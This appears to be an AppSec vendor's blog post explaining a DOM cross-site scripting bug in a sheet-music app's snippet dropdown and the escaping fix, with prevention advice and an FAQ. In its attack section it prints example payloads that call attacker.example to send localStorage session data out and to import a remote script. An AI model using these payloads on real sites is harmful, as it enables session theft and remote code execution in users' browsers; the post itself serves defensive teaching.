Back to Blog
high SEVERITY10 min read

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

This was a template-literal injection vulnerability in JavaScript: `src/export/SheetMusicView.js` built HTML for a `<select>` dropdown by interpolating untrusted snippet fields (`s.id`, `s.name`) directly into a template literal, creating a DOM XSS sink (CWE-79, the same root cause class as CWE-89 SQL injection — mixing code and data in a string). The fix adds a private `_escapeHtml(value)` method that replaces `&`, `<`, `>`, `"`, and `'` with HTML entities, and applies it to both interpolated values before they reach the markup. The general rule: never concatenate untrusted input into a string that will be parsed as code — use parameterized queries for SQL and escaping or DOM APIs (`textContent`, `new Option()`) for HTML.

Vulnerability at a Glance

cweCWE-79 (also related: CWE-89, CWE-116)
fixAdded `_escapeHtml()` and escaped both interpolated values before building the `<option>` markup
riskAttacker-controlled snippet names/IDs can break out of the `value="..."` attribute and execute script in the app's origin, stealing session data or tampering with exported sheet music
languageJavaScript (ES modules, browser DOM)
root cause`s.id` and `s.name` were interpolated raw into an `<option value="${s.id}">${s.name}</option>` template literal with no escaping or encoding
vulnerabilityTemplate literal injection (untrusted data interpolated into a generated markup/query string) leading to DOM XSS

Summary

A Semgrep rule (utils.custom.sql-injection-template-literal) flagged src/export/SheetMusicView.js for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an <option value="${s.id}">${s.name}</option> string used to build the snippet picker, meaning any snippet name containing " or < could break out of the attribute and inject arbitrary HTML. The fix introduces an _escapeHtml() helper and routes s.id and s.name through it before interpolation, eliminating the injection primitive.

Introduction

The src/export/SheetMusicView.js file is responsible for turning recorded musical snippets into a rendered sheet-music view — it builds a <select> dropdown so the user can pick which snippet to render, then hands the chosen snippet to _renderSheet(), which populates #sm-render and #sm-abc-text.

The dropdown-building code did something that looks completely innocuous and appears in thousands of front-end codebases:

return snippets.map((s) => {
  const count = (s.notes?.length || 0) + (s.hits?.length || 0);
  return `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>`;
}).join('');

Three values get interpolated into that template literal: s.id, s.name, and count. Only one of them (count) is guaranteed to be a number. The other two come from snippet objects — data that originates from user input (snippet names the user types), from imported project files, or from persisted storage. The moment that string is assigned to an element's innerHTML, the browser's HTML parser treats every character in s.name as markup, not as text.

Semgrep's utils.custom.sql-injection-template-literal rule fired on this file at line 27. The rule is named after its most famous manifestation — SQL injection — but the pattern it detects is broader and more fundamental: a template literal that mixes syntax and untrusted data in a string that will later be parsed. Whether the parser on the other end is a SQL engine or an HTML tokenizer, the bug is the same bug.

The Vulnerability Explained

The mechanics

Here is the vulnerable line as it existed before the fix (around line 66 of SheetMusicView.js):

return `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>`;

There are two distinct injection contexts in this single line:

  1. A double-quoted attribute value: value="${s.id}". A " character inside s.id terminates the attribute early, after which anything the attacker writes is parsed as additional attributes on the <option> tag.
  2. An HTML text node: ${s.name || 'Snippet'}. A < character inside s.name starts a new tag, letting the attacker inject arbitrary elements.

Neither value is escaped, validated, or type-checked. count is safe by construction (it is the sum of two .length values), which is a useful contrast: the problem is never "template literals are bad", it is "unvalidated data in a parsing context is bad".

An attack specific to this code

Imagine a user (or an imported .json project file, or a shared snippet from a collaborator) creates a snippet with this name:

Guitar Solo<img src=x onerror="fetch('https://attacker.example/collect?d='+encodeURIComponent(localStorage.getItem('session')))">

_renderSnippetOptions() produces:

<option value="snip_42">Guitar Solo<img src=x onerror="fetch('https://attacker.example/collect?d='+...)"> (18 events)</option>

As soon as that markup is inserted into the DOM, the browser attempts to load x, fails, and fires onerror — executing attacker JavaScript in the application's origin. The user never has to open the dropdown; simply rendering the snippet list is enough.

The attribute context gives an attacker a second, quieter path. A snippet ID of:

1" autofocus onfocus="import('https://attacker.example/p.js')

yields:

<option value="1" autofocus onfocus="import('https://attacker.example/p.js')">Snippet (0 events)</option>

Here nothing visibly changes in the UI — no stray <img>, no broken layout — but the injected onfocus handler pulls in a remote module. This is the kind of payload that survives casual code review and manual QA.

Real-world impact for this component

Because SheetMusicView lives in the export/ path, it is precisely where a user is most likely to be handling content they received from someone else: an imported arrangement, a shared practice session, a snippet library. That makes it a natural entry point for stored XSS. Concretely, a successful payload could:

  • Exfiltrate whatever the app keeps in localStorage/sessionStorage (auth tokens, API keys for cloud sync, license data).
  • Silently rewrite the ABC notation in #sm-abc-text before the user exports it, so the exported file differs from what was displayed.
  • Hijack the export/download action to point at an attacker-controlled URL.
  • Pivot to any privileged bridge the host environment exposes — in an Electron or WebView shell, DOM XSS frequently escalates toward local file access or command execution.

And the reason the Semgrep rule name matters: s.id and s.name clearly flow through the application's data layer. If any part of that layer builds queries the same way (`SELECT * FROM snippets WHERE id = '${id}'`), the identical unescaped value becomes SQL injection. Removing the template-literal-interpolation habit in one place is a step toward removing it everywhere.

The Fix

The patch escapes both untrusted values before they touch the markup, and adds a reusable helper for doing so.

Before

return snippets.map((s) => {
  const count = (s.notes?.length || 0) + (s.hits?.length || 0);
  return `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>`;
}).join('');

After

return snippets.map((s) => {
  const count = (s.notes?.length || 0) + (s.hits?.length || 0);
  const id = this._escapeHtml(s.id);
  const name = this._escapeHtml(s.name || 'Snippet');
  return `<option value="${id}">${name} (${count} events)</option>`;
}).join('');
}

_escapeHtml(value) {
  return String(value).replace(/[&<>"']/g, (c) => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;',
  }[c]));
}

Why each detail matters

String(value) first. s.id might be a number, null, undefined, or an object from a malformed import. Coercing to a string before calling .replace() prevents a TypeError from crashing the whole snippet list — this is availability hardening as much as injection hardening.

The character set [&<>"'] is the right one for these two contexts. < and > neutralise tag injection in the text node. " neutralises the breakout from value="...". ' covers the case where the quoting style ever changes to single quotes. And & must be escaped first conceptually — it is included in the same character class so that a literal &lt; typed by the user renders as &lt; rather than being double-decoded into <. Escaping & last (or not at all) is a classic way to reintroduce the bug.

Escaping happens at the interpolation site, not at input time. The two local constants id and name are computed immediately before use. This is deliberate: encoding is context-dependent, so it belongs where the context is known (here, HTML), not at the point where the snippet was first created. Sanitising on input would leave the escaped entities baked into the stored data and would break as soon as the same value is used in a JSON export or a filename.

count is intentionally left alone. It is derived from .length arithmetic and cannot be attacker-controlled. Escaping it would be harmless but would obscure the reasoning; leaving it untouched documents that the developer distinguished trusted from untrusted values.

_escapeHtml is a method, not a free function. Placing it on the class next to _renderSheet() means the other renderers in SheetMusicView — including anything added later to #sm-render or #sm-abc-text — have an obvious, discoverable escape helper to reach for.

A stronger variant worth considering

Escaping fixes the bug, but the most robust version of this code avoids HTML parsing altogether:

_renderSnippetOptions(snippets, selectEl) {
  selectEl.replaceChildren(
    ...snippets.map((s) => {
      const count = (s.notes?.length || 0) + (s.hits?.length || 0);
      const opt = new Option(`${s.name || 'Snippet'} (${count} events)`, String(s.id));
      return opt; // label and value set as data, never parsed as markup
    })
  );
}

new Option(text, value) and element.textContent set data, so there is no parser to confuse and no escaping to get wrong. The escaping approach was chosen here because it is a minimal, behaviour-preserving change to an existing string-building function — but new code in this file should prefer DOM construction.

Prevention & Best Practices

1. Treat every ${} inside a string that will be parsed as a red flag. SQL, HTML, shell commands, regexes, eval, XPath, LDAP filters — all of them. The fix for each is the same shape: pass data through a channel the parser cannot mistake for syntax.

2. Use the right safe API per sink.

Sink Unsafe Safe
SQL db.query(`... WHERE id = '${id}'`) db.query('... WHERE id = ?', [id])
HTML text el.innerHTML = `<b>${name}</b>` el.textContent = name
<select> options `<option value="${id}">${name}</option>` new Option(name, id)
Attribute `<a href="${url}">` a.href = validated(url) (allow-list the scheme)
Shell exec(`convert ${file}`) execFile('convert', [file])

3. Never hand-roll escaping in more than one place. One _escapeHtml() per module is already borderline; one shared utility per codebase is better, and a template engine with auto-escaping (or DOMPurify for rich HTML) is better still.

4. Add a Content Security Policy. A CSP without unsafe-inline would have neutralised the onerror and onfocus payloads described above even while the bug was live. Defence in depth: escaping is the fix, CSP is the safety net.

5. Enforce it in CI. A Semgrep rule that forbids template literals flowing into innerHTML, insertAdjacentHTML, outerHTML, document.write, and db.query will catch regressions at review time — which is exactly how this instance was found. ESLint's no-unsanitized/property plugin covers the DOM half of the problem.

6. Distrust imported files as much as network input. In an export/ module, the data most likely to be hostile is a file the user opened, not an HTTP response. Threat-model file import as an untrusted source.

Key Takeaways

  • The <option value="${s.id}">${s.name}</option> template literal in SheetMusicView.js had two injection contexts in one line — a double-quoted attribute and a text node — and neither was escaped.
  • A snippet name is user-controlled data, and snippets can arrive from imported project files, which makes the export/ path a realistic stored-XSS entry point rather than a theoretical one.
  • _escapeHtml() escapes & alongside <>"' on purpose — omitting & reintroduces the vulnerability through double-decoding of sequences like &lt;.
  • count was correctly left unescaped because it is computed from .length arithmetic; the fix distinguishes trusted from untrusted interpolations instead of blanket-escaping everything.
  • The rule name sql-injection-template-literal describes a pattern, not just SQL — if s.id reaches a query builder elsewhere in this codebase built the same way, that is the next bug to fix, and parameterized queries are the answer there.
  • new Option(name, id) and textContent remove the sink entirely and should be preferred over escaping for any new rendering code in this file.

How Orbis AppSec Detected This

  • Source: Untrusted snippet metadata — the s.name and s.id fields of objects in the snippets array, populated from user-entered snippet names, imported project/session files, and persisted storage.
  • Sink: The template literal `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>` in the snippet-option renderer of src/export/SheetMusicView.js (flagged at line 27, patched around line 66), whose output is inserted into the DOM as HTML.
  • Missing control: No output encoding or contextual escaping was applied to s.id or s.name before interpolation; there was no type coercion either, so non-string values could also break the renderer.
  • CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), a sibling of CWE-89 (SQL Injection) under CWE-74: Injection and CWE-116: Improper Encoding or Escaping of Output.
  • Fix: Added a private _escapeHtml(value) method that coerces to string and entity-encodes &, <, >, ", and ', then applied it to s.id and s.name before they are interpolated into the <option> markup.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The bug in SheetMusicView.js is a textbook example of why injection remains at the top of every vulnerability list: the vulnerable line is shorter and more readable than the safe version. Interpolating s.name into an <option> tag feels like formatting; the browser treats it as programming.

The fix is small — one helper method, two local variables — but it draws a clear line between syntax and data in a component that handles content users receive from other people. The broader lesson generalises well beyond this file: if a string is going to be parsed by anything, don't build it with ${}. Use parameterized queries for SQL, textContent and new Option() for the DOM, and argument arrays for subprocesses. Then let a scanner enforce that rule on every pull request, so the next <option value="${id}"> never ships.

References

  • [CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre

Frequently Asked Questions

What is template literal injection?

It is the practice of building a string that will later be *parsed as code* — SQL, HTML, a shell command — by interpolating untrusted values with `${...}` inside a JavaScript template literal. Because the interpolated data is indistinguishable from the surrounding syntax, an attacker who controls the data controls the resulting code. In SQL this becomes SQL injection; in markup, as in `SheetMusicView.js`, it becomes XSS.

How do you prevent template literal injection in JavaScript?

Keep code and data separate. For databases, use parameterized queries (`db.query('SELECT * FROM snippets WHERE id = ?', [id])`) instead of `` `... WHERE id = ${id}` ``. For markup, use DOM APIs that never parse HTML (`element.textContent`, `new Option(name, id)`, `document.createElement`), or escape values with a helper like the `_escapeHtml()` added in this fix before interpolating them.

What CWE is template literal injection?

It depends on the sink. When the string becomes HTML, as here, it is CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-site Scripting). When it becomes SQL it is CWE-89. Both are specialisations of CWE-116 (Improper Encoding or Escaping of Output) and CWE-74 (Injection).

Is HTML escaping enough to prevent template literal injection?

It is sufficient for HTML text nodes and *quoted* attribute values, which is exactly the context in `SheetMusicView.js` (`value="${id}"` and the text between the `<option>` tags). It is **not** sufficient for unquoted attributes, `href`/`src` URLs (where `javascript:` still works), inline event handlers, or `<script>` bodies — those need URL validation or a different construction strategy entirely.

Can static analysis detect template literal injection?

Yes. Semgrep's pattern matching is well suited to it because the dangerous shape is syntactic: a template literal containing `${...}` that flows into `innerHTML`, `db.query()`, `exec()`, and similar sinks. That is exactly how `utils.custom.sql-injection-template-literal` caught this line. Dataflow-aware rules reduce false positives by confirming the interpolated value originates from an untrusted source.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #62

Related Articles

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.

high

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.